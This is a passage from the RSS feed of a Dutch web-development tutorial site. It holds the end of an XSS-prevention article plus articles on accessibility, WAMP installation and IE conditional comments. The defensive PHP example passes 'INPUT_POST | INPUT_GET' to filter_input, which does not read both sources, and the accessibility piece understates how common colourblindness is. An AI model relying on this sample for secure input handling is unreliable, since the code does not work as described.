<div id="wpshdo_9" class="wp-synhighlighter-outer"><div id="wpshdt_9" class="wp-synhighlighter-expanded"><table border="0" width="100%"><tr><td align="left" width="80%"><a name="#codesyntax_9"></a><a id="wpshat_9" class="wp-synhighlighter-title" href="#codesyntax_9"  onClick="javascript:wpsh_toggleBlock(9)" title="Click to show/hide code block">Code blok</a></td><td align="right"><a href="#codesyntax_9" onClick="javascript:wpsh_code(9)" title="Show code only"><img border="0" style="border: 0 none" src="http://zifp.nl/wp-content/plugins/wp-synhighlight/themes/default/images/code.png" /></a>&nbsp;<a href="#codesyntax_9" onClick="javascript:wpsh_print(9)" title="Print code"><img border="0" style="border: 0 none" src="http://zifp.nl/wp-content/plugins/wp-synhighlight/themes/default/images/printer.png" /></a>&nbsp;<a href="http://zifp.nl/wp-content/plugins/wp-synhighlight/About.html" target="_blank" title="Show plugin information"><img border="0" style="border: 0 none" src="http://zifp.nl/wp-content/plugins/wp-synhighlight/themes/default/images/info.gif" /></a>&nbsp;</td></tr></table></div><div id="wpshdi_9" class="wp-synhighlighter-inner" style="display: block;"><pre class="php" style="font-family:monospace;"><span class="kw2">&lt;?php</span>
  <span class="re0">$gebruiker</span> <span class="sy0">=</span> <a href="http://www.php.net/filter_input"><span class="kw3">filter_input</span></a><span class="br0">&#40;</span>INPUT_COOKIE<span class="sy0">,</span> <span class="st_h">'gebruiker'</span><span class="sy0">,</span>
                         FILTER_SANITIZE_SPECIAL_CHARS<span class="br0">&#41;</span><span class="sy0">;</span>
  <span class="re0">$bericht</span> <span class="sy0">=</span> <a href="http://www.php.net/filter_input"><span class="kw3">filter_input</span></a><span class="br0">&#40;</span>INPUT_POST <span class="sy0">|</span> INPUT_GET<span class="sy0">,</span> <span class="st_h">'bericht'</span><span class="sy0">,</span>
                         FILTER_SANITIZE_SPECIAL_CHARS<span class="br0">&#41;</span><span class="sy0">;</span>
  <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$bericht</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
     save_message<span class="br0">&#40;</span><span class="re0">$gebruiker</span><span class="sy0">,</span> <span class="re0">$bericht</span><span class="br0">&#41;</span><span class="sy0">;</span>
  <span class="br0">&#125;</span>
<span class="sy1">?&gt;</span>
&lt;input type=&quot;text&quot; name=&quot;bericht&quot; value=&quot;<span class="kw2">&lt;?php</span> <span class="kw1">echo</span> <span class="re0">$bericht</span> <span class="sy1">?&gt;</span>&quot;&gt;</pre></div></div>
<p>Belangrijk is om de code zo snel mogelijk na de invoer te valideren en schoon te maken zodat malafide code bijvoorbeeld niet in je database kan opduiken. Hoe eerder de code schoon is, hoe minder fouten er gemaakt kunnen worden.</p>
<p>Er zijn<a href="http://www.w3schools.com/php/php_ref_filter.asp"> een heleboel verschillende filters</a> voor PHP beschikbaar. Gebruik de filters die toepasbaar zijn op jouw situatie en probeer altijd zo streng mogelijk te controleren.</p>
<p>Je kan er ook aan denken om bijvoorbeeld de functies</p>
<div id="wpshdo_10" class="wp-synhighlighter-outer"><div id="wpshdt_10" class="wp-synhighlighter-expanded"><table border="0" width="100%"><tr><td align="left" width="80%"><a name="#codesyntax_10"></a><a id="wpshat_10" class="wp-synhighlighter-title" href="#codesyntax_10"  onClick="javascript:wpsh_toggleBlock(10)" title="Click to show/hide code block">Code blok</a></td><td align="right"><a href="#codesyntax_10" onClick="javascript:wpsh_code(10)" title="Show code only"><img border="0" style="border: 0 none" src="http://zifp.nl/wp-content/plugins/wp-synhighlight/themes/default/images/code.png" /></a>&nbsp;<a href="#codesyntax_10" onClick="javascript:wpsh_print(10)" title="Print code"><img border="0" style="border: 0 none" src="http://zifp.nl/wp-content/plugins/wp-synhighlight/themes/default/images/printer.png" /></a>&nbsp;<a href="http://zifp.nl/wp-content/plugins/wp-synhighlight/About.html" target="_blank" title="Show plugin information"><img border="0" style="border: 0 none" src="http://zifp.nl/wp-content/plugins/wp-synhighlight/themes/default/images/info.gif" /></a>&nbsp;</td></tr></table></div><div id="wpshdi_10" class="wp-synhighlighter-inner" style="display: block;"><pre class="php" style="font-family:monospace;"><a href="http://www.php.net/html_entity_decode"><span class="kw3">html_entity_decode</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>
<a href="http://www.php.net/htmlentities"><span class="kw3">htmlentities</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span></pre></div></div>
<p>te gerbuiken. Deze functies worden gebruikt om <a href="http://www.w3schools.com/tags/ref_symbols.asp">speciale tekens</a> naar de juiste HTML code en weer terug om te zetten.</p>
]]></content:encoded>
			<wfw:commentRss>http://zifp.nl/php/beveilig-je-website-tegen-cross-site-scripting-xss/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Maak je site geschikt voor gehandicapte mensen</title>
		<link>http://zifp.nl/overig/maak-je-site-geschikt-voor-gehandicapte-mensen/</link>
		<comments>http://zifp.nl/overig/maak-je-site-geschikt-voor-gehandicapte-mensen/#comments</comments>
		<pubDate>Wed, 13 Oct 2010 15:18:18 +0000</pubDate>
		<dc:creator>Admin</dc:creator>
				<category><![CDATA[Overig]]></category>

		<guid isPermaLink="false">http://zifp.nl/?p=332</guid>
		<description><![CDATA[Als je een website aan het maken bent sta je er niet vaak bij stil dat een grote groep mensen last heeft van een handicap waardoor ze moeite kunnen hebben om jouw site te bezoeken. Zo is bijvoorbeeld ongeveer 1% van de mannen kleurenblind waardoor ze slecht groen van rood kunnen onderscheiden. In deze tutorial [...]]]></description>
			<content:encoded><![CDATA[<p>Als je een website aan het maken bent sta je er niet vaak bij stil dat een grote groep mensen last heeft van een handicap waardoor ze moeite kunnen hebben om jouw site te bezoeken. Zo is bijvoorbeeld ongeveer 1% van de mannen kleurenblind waardoor ze slecht groen van rood kunnen onderscheiden.</p>
<p>In deze tutorial probeer ik een aantal tips te geven waarop je moet letten bij het maken van een website zodat ook gehandicapte mensen jouw site kunnen bezoeken.<br />
<span id="more-332"></span></p>
<h3>Houd je aan de standaard</h3>
<p>De simpelste tip die ik wil geven is dat je, je moet houden houden aan de HTML standaarden. Blinden maken vaak gebruik van hulpmiddelen om jouw pagina te lezen. Ze laten bijvoorbeeld een computer de tekst voorlezen. Tekst tussen &lt;em&gt; tags wordt hierbij met een andere toon voorgelezen dan tekst tussen &lt;i&gt; tags.</p>
<p>Visueel geven &lt;i&gt; en &lt;em&gt; hetzelfde effect, echter de betekenis van de 2 tags is verschillend. &lt;em&gt; staat voor emphasize. Iets waar je de nadruk op wil leggen.  &lt;i&gt; staat voor schuingedrukte tekst.</p>
<p>Een ander voorbeeld is het verschil tussen &lt;b&gt; en &lt;strong&gt;. Visueel zijn ze hetzelfde, contextueel zijn ze echter totaal verschillend. Vind je iets belangrijk, gebruik de &lt;strong&gt; tags en vermijd de &lt;b&gt; tags.</p>
<h3>Gerbuik Alt-tags</h3>
<p>Blinde mensen kunnen afbeeldingen niet zien. Een afbeelding zonder alt tag heeft dan ook geen betekenis voor ze. Als je in de alt tag beschrijft wat er op een afbeelding te zien valt kan een blind persoon hier informatie uit halen.</p>
<p>Denk er aan dat ook veel web crawlers ook geen afbeeldingen kunnen bekijken. Als je een afbeelding geen titel en geen alt tag meegeeft zal google de afbeelding geen betekenis geven.</p>
<h3>Check je website voor mensen die kleurenblind zijn</h3>
<p>Het beste zou zijn om iemand met kleurenblindheid je site te laten beoordelen. Gelukkig is kleurenblindheid relatief zeldzaam waardoor veel mensen niemand kennen die kleurenblind is.</p>
<p>Gelukkig zijn er op internet hulpmiddelen te vinden waardoor je een website door de ogen van kleurenblind persoon kan bekijken. <a href="http://colorfilter.wickline.org/">Colorblind Web Page Filter</a> is er bijvoorbeeld één. Hierop kan je de site checken voor verschillenden typen van kleurenblindheid.</p>
<h3>Gebruik em in plaats van px</h3>
<p>Wanneer je de fontgrootte in je CSS aanpast kun je het beste gebruik maken van em. Em heeft als voordeel dat het een relatief formaat is. Als een bezoeker de lettergrootte op zijn computer aangepast heeft zal de grootte van de tekst op je website zich mee aanpassen.</p>
<p>Hierdoor kan de bezoeker de lettergrootte van de tekst op je website aanpassen zonder gebruik te maken van een zoom functie.  Hierdoor blijft de opmaak van je pagina hetzelfde en wordt alleen de slecht leesbare tekst groter.</p>
<h3>Vermijd Javascript en Flash</h3>
<p>Hoe mooi ze ook mogen zijn, vermijd javascript en Flash. Blinde mensen kunnen hier niks mee.</p>
<p>Gebruiken mag wel maar zorg er in ieder geval voor dat er op de achtergrond nog een volledig functionele HTML pagina zit.</p>
]]></content:encoded>
			<wfw:commentRss>http://zifp.nl/overig/maak-je-site-geschikt-voor-gehandicapte-mensen/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Installeer Wamp server in windows</title>
		<link>http://zifp.nl/overig/installeer-wamp-server-in-windows/</link>
		<comments>http://zifp.nl/overig/installeer-wamp-server-in-windows/#comments</comments>
		<pubDate>Wed, 13 Oct 2010 14:14:39 +0000</pubDate>
		<dc:creator>Admin</dc:creator>
				<category><![CDATA[Overig]]></category>
		<category><![CDATA[server]]></category>

		<guid isPermaLink="false">http://zifp.nl/?p=327</guid>
		<description><![CDATA[Vorige week legde ik in dit artikel uit hoe je een server in Ubuntu moest installeren. Vandaag leg ik uit hoe je eenvoudig een apache server voor Windows kunt installeren. De simpelste manier om een apache server te installeren op Windows is door gebruik te maken van Wamp. Wamp is een software pakket voor Windows dat staat voor [...]]]></description>
			<content:encoded><![CDATA[<p>Vorige week legde ik in <a href="http://zifp.nl/overig/installeer-lamp-server-i-ubuntu/">dit artikel</a> uit hoe je een server in Ubuntu moest installeren. Vandaag leg ik uit hoe je eenvoudig een apache server voor Windows kunt installeren.<br />
<span id="more-327"></span><br />
De simpelste manier om een apache server te installeren op Windows is door gebruik te maken van <a href="http://www.wampserver.com/en/">Wamp</a>. Wamp is een software pakket voor <strong>W</strong>indows dat staat voor <strong>A</strong>pache, <strong>M</strong>ySQL en <strong>P</strong>HP.</p>
<p>Om Wamp op je computer te installeren hoef je alleen het pakket van de site te downloaden en te installeren. De installatie wijst zichzelf.</p>
<p>Wanneer je het pakket hebt geïnstalleerd hoef je hem alleen nog maar op te starten. Dit kan je doen door &#8216;<code>c:/wamp/wampmanager</code>&#8216; op te starten.</p>
<p>De PHP bestanden kan je plaatsen in &#8216;<code>c:/wamp/www</code>&#8216;. In deze map staat al een PHP bestand die verwijst naar mappen in dezelfde directory. Door mappen aan te maken in ´<code>c:/wamp/www</code>´ is het mogelijk om aan meerdere projecten tegelijkertijd te werken.</p>
<p>Als je  naar <a href="http://localhost">http://localhost</a> worden de PHP bestanden in &#8216;<code>c:/wamp/www</code>&#8216; via de server uitgevoerd.</p>
<p>Naast PHP en MySQL installeert het pakket ook phpmyadmin. Hiermee kan je eenvoudig aanpassingen maken aan MySQL tabellen. Je opent phpmyadmin door naar <a href="http://localhost/phpmyadmin">http://localhost/phpmyadmin</a> te gaan.</p>
]]></content:encoded>
			<wfw:commentRss>http://zifp.nl/overig/installeer-wamp-server-in-windows/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Conditional statements voor Internet explorer</title>
		<link>http://zifp.nl/html/conditional-statements-voor-internet-explorer/</link>
		<comments>http://zifp.nl/html/conditional-statements-voor-internet-explorer/#comments</comments>
		<pubDate>Tue, 12 Oct 2010 15:30:38 +0000</pubDate>
		<dc:creator>Admin</dc:creator>
				<category><![CDATA[HTML]]></category>
		<category><![CDATA[Scripts]]></category>
		<category><![CDATA[conditional statement]]></category>

		<guid isPermaLink="false">http://zifp.nl/?p=315</guid>
		<description><![CDATA[Door middel van conditional statements is het mogelijk om bepaalde stukken HTML alleen voor, of juist niet voor Internet Explorer te laten gelden. Conditionele statement werken als volgt: Positief: Negatief: Je kan gebruik maken van de volgende condities: IE Elke versie van Internet explorer lt IE versie Internet explorer met een versie lager dan versie. [...]]]></description>
			<content:encoded><![CDATA[<p>Door middel van conditional statements is het mogelijk om bepaalde stukken HTML alleen voor, of juist niet voor Internet Explorer te laten gelden.</p>
<p>Conditionele statement werken als volgt:</p>
<p>Positief:</p>
<div id="wpshdo_11" class="wp-synhighlighter-outer"><div id="wpshdt_11" class="wp-synhighlighter-expanded"><table border="0" width="100%"><tr><td align="left" width="80%"><a name="#codesyntax_11"></a><a id="wpshat_11" class="wp-synhighlighter-title" href="#codesyntax_11"  onClick="javascript:wpsh_toggleBlock(11)" title="Click to show/hide code block">Code blok</a></td><td align="right"><a href="#codesyntax_11" onClick="javascript:wpsh_code(11)" title="Show code only"><img border="0" style="border: 0 none" src="http://zifp.nl/wp-content/plugins/wp-synhighlight/themes/default/images/code.png" /></a>&nbsp;<a href="#codesyntax_11" onClick="javascript:wpsh_print(11)" title="Print code"><img border="0" style="border: 0 none" src="http://zifp.nl/wp-content/plugins/wp-synhighlight/themes/default/images/printer.png" /></a>&nbsp;<a href="http://zifp.nl/wp-content/plugins/wp-synhighlight/About.html" target="_blank" title="Show plugin information"><img border="0" style="border: 0 none" src="http://zifp.nl/wp-content/plugins/wp-synhighlight/themes/default/images/info.gif" /></a>&nbsp;</td></tr></table></div><div id="wpshdi_11" class="wp-synhighlighter-inner" style="display: block;"><pre class="html4strict" style="font-family:monospace;"><span class="sc-1">&lt;!--[if condition]&gt; HTML &lt;![endif]--&gt;</span></pre></div></div>
<p>Negatief:</p>
<div id="wpshdo_12" class="wp-synhighlighter-outer"><div id="wpshdt_12" class="wp-synhighlighter-expanded"><table border="0" width="100%"><tr><td align="left" width="80%"><a name="#codesyntax_12"></a><a id="wpshat_12" class="wp-synhighlighter-title" href="#codesyntax_12"  onClick="javascript:wpsh_toggleBlock(12)" title="Click to show/hide code block">Code blok</a></td><td align="right"><a href="#codesyntax_12" onClick="javascript:wpsh_code(12)" title="Show code only"><img border="0" style="border: 0 none" src="http://zifp.nl/wp-content/plugins/wp-synhighlight/themes/default/images/code.png" /></a>&nbsp;<a href="#codesyntax_12" onClick="javascript:wpsh_print(12)" title="Print code"><img border="0" style="border: 0 none" src="http://zifp.nl/wp-content/plugins/wp-synhighlight/themes/default/images/printer.png" /></a>&nbsp;<a href="http://zifp.nl/wp-content/plugins/wp-synhighlight/About.html" target="_blank" title="Show plugin information"><img border="0" style="border: 0 none" src="http://zifp.nl/wp-content/plugins/wp-synhighlight/themes/default/images/info.gif" /></a>&nbsp;</td></tr></table></div><div id="wpshdi_12" class="wp-synhighlighter-inner" style="display: block;"><pre class="html4strict" style="font-family:monospace;"><span class="sc-1">&lt;!--[if !condition]&gt;&lt;![IGNORE[--&gt;</span><span class="sc2">&lt;!<span class="br0">&#91;</span>IGNORE<span class="br0">&#91;</span><span class="br0">&#93;</span><span class="br0">&#93;</span>&gt;</span> HTML <span class="sc-1">&lt;!--&lt;![endif]--&gt;</span></pre></div></div>
<p>Je kan gebruik maken van de volgende condities:</p>
<dl>
<dt>IE</dt>
<dd>Elke versie van Internet explorer</dd>
<dt>lt IE <em>versie</em></dt>
<dd>Internet explorer met een versie lager dan <em>versie</em>.</dd>
<dt>lte IE <em>versie</em></dt>
<dd>Internet explorer met een versie gelijk of lager dan <em>versie</em>.</dd>
<dt>IE <em>versie</em></dt>
<dd>Internet explorer met een versie gelijk aan <em>versie</em>.</dd>
<dt>gte IE <em>versie</em></dt>
<dd>Internet explorer met een versie gelijk of hoger dan <em>versie</em>.</dd>
<dt>gt IE <em>versie</em></dt>
<dd>Internet explorer met een versie hoger dan <em>versie</em>.</dd>
</dl>
]]></content:encoded>
			<wfw:commentRss>http://zifp.nl/html/conditional-statements-voor-internet-explorer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

